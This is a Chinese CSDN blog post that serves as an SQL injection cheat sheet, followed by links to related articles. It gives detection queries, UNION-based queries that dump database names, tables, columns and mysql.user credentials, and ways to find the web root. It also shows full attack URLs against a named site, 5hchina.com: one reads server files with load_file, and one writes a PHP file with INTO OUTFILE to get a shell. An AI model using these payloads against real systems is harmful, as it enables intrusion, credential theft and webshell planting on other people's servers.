关闭

SQL注入

标签: sql注入web安全
340人阅读 评论(0) 收藏 举报
分类:

1注入类型

   1.1数字型注入

   查询方式:   select * from 表名 where 字段名=数字 

   检测漏洞:   select * from 表名 where 字段名=数字 AND 1=1

                     select * from 表名 where 字段名=数字 AND 1=2

   1.2字符型注入

   查询方式:  select * from 表名 where 字段名='字符'

   检测漏洞:  select * from 表名 where 字段名='字符' AND '1'='1'

                     select * from 表名 where 字段名='字符' AND '1'='1'     

   1.3搜索型注入

   查询方式: select * from 表名 where 字段名 like '%字符%'

   检测漏洞: select * from 表名 where 字段名 like '%字符%'and 1=1 and '%'='%'

select * from 表名 where 字段名 like '%字符%'and 1=2 and '%'='%'


判断字段数: order by 数字

select * from 表名 where 字段名=数字order by 数字

根据返回值判断返回的是哪个字段:select * from 表名 where 字段名=1 union all select 1,2,3

返回 数据库名 用户名等信息:select * from 表名 where 字段名=1 union all selectuser(),database(),3


根据数据库名得到表名(mysql5.0之后的版本可用):

select table_name from information_schema.tables where table_schema = '数据库名'

具体应用:(例子中表有三个字段)

select * from表名where字段名=1 union all select table_name,2,3 from information_schema.tables where table_schema = '数据库名'


根据表名得到字段名(mysql5.0之后的版本可用):

select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' ;

具体应用:(例子中表有三个字段):

select * from 表名 where 字段名=1 union all select column_name,2,3 from information_schema.columns where table_schema='数据库名' and table_name='表名'

参考:

version()版本 5.0.27-community-nt
database()数据库名 5hchina
user()当前用户 root 
@@version_compile_os 操作系统 win32


注意地方(获取到网站根路径)
怎么获取到网站根路径?
谷歌黑客 site:5hchina.com warning
文件报错
查看敏感文件 info.php phpinfo.php test.php
编码选择hex编码
如果不编码用''符号表示
符号的 反正型 “/”和“\”
D:\web\5hchina.com\根网站路径


root权限:
1.查看文件获取相关信息 
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,load_file('D:/web/5hchina.com/index.php'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
一般数据库链接文件:  conn.php common.php config.php


2.导入导出一句话拿shell (into outfile)
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,'aaaa',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'D:/web/5hchina.com/manage/upload/img/2.php'

或者




查询用户名密码:

select * from mysql.user ;
例子:
SELECT * FROM 表名 where 字段名=1 union all select User,Password,3 from mysql.user




0
0
查看评论
发表评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场

批量in查询中可能会导致的sql注入问题

有时间我们在使用in或者or进行查询时,为了加快速度,可能会经常这样来使用sql之间的拼接,然后直接导入到一个in中,这种查询实际上性能上还是可以的, 例如如下:update keyword set...
  • u012516914
  • u012516914
  • 2014-09-27 15:45
  • 1761

什么是sql注入,如何防止sql注入

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存...
  • lzq_csdn_th
  • lzq_csdn_th
  • 2016-08-12 18:49
  • 3767

SQL注入#和$区别与总结

1.#{} 将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号。 如:order by #user_id#,如果传入的值是111,那么解析成sql时的值为order by "111", ...
  • qq_34446485
  • qq_34446485
  • 2017-08-05 20:21
  • 448

详细SQL注入命令使用方法

sql注入 sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id...
  • Hq_Dream
  • Hq_Dream
  • 2016-01-05 17:02
  • 1998

常见sql注入方式

1.没有正确过滤转义字符   在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传递给一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句实施操纵。比方说,下面的这...
  • wusuopuBUPT
  • wusuopuBUPT
  • 2013-04-02 17:03
  • 10850

ASP.NET防止Sql注入的解决方法

ASP.NET防止Sql注入,通常一个一个文件修改不仅麻烦而且还有漏掉的危险,下面我说一上如何从整个系统防止注入。 做到以下三步,相信的程序将会比较安全了,而且对整个网站的维护也将会变的简单。 一...
  • yangyisen0713
  • yangyisen0713
  • 2015-08-12 14:37
  • 9245

常见的SQL注入检测语句

0x00 前言
  • qq_29277155
  • qq_29277155
  • 2016-04-26 12:40
  • 8356

SQL注入原理讲解,很不错!

原文地址:http://www.cnblogs.com/rush/archive/2011/12/31/2309203.html 1.1.1 摘要 日前,国内最大的程序员社区CSDN网站的用户数据...
  • stilling2006
  • stilling2006
  • 2013-01-21 21:48
  • 344049

SQL注入攻防入门详解

下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。        示例程序下载:SQL注入攻防入门详解_示例   什么是SQL注入(SQL Injection)...
  • qq_17486399
  • qq_17486399
  • 2016-07-06 21:12
  • 1726

Asp.net SQL注入实例分享

Asp.net SQL注入实例分享
  • yangzhenping
  • yangzhenping
  • 2015-10-10 14:54
  • 5048
    个人资料
    • 访问:61183次
    • 积分:1337
    • 等级:
    • 排名:千里之外
    • 原创:71篇
    • 转载:36篇
    • 译文:1篇
    • 评论:4条
    文章分类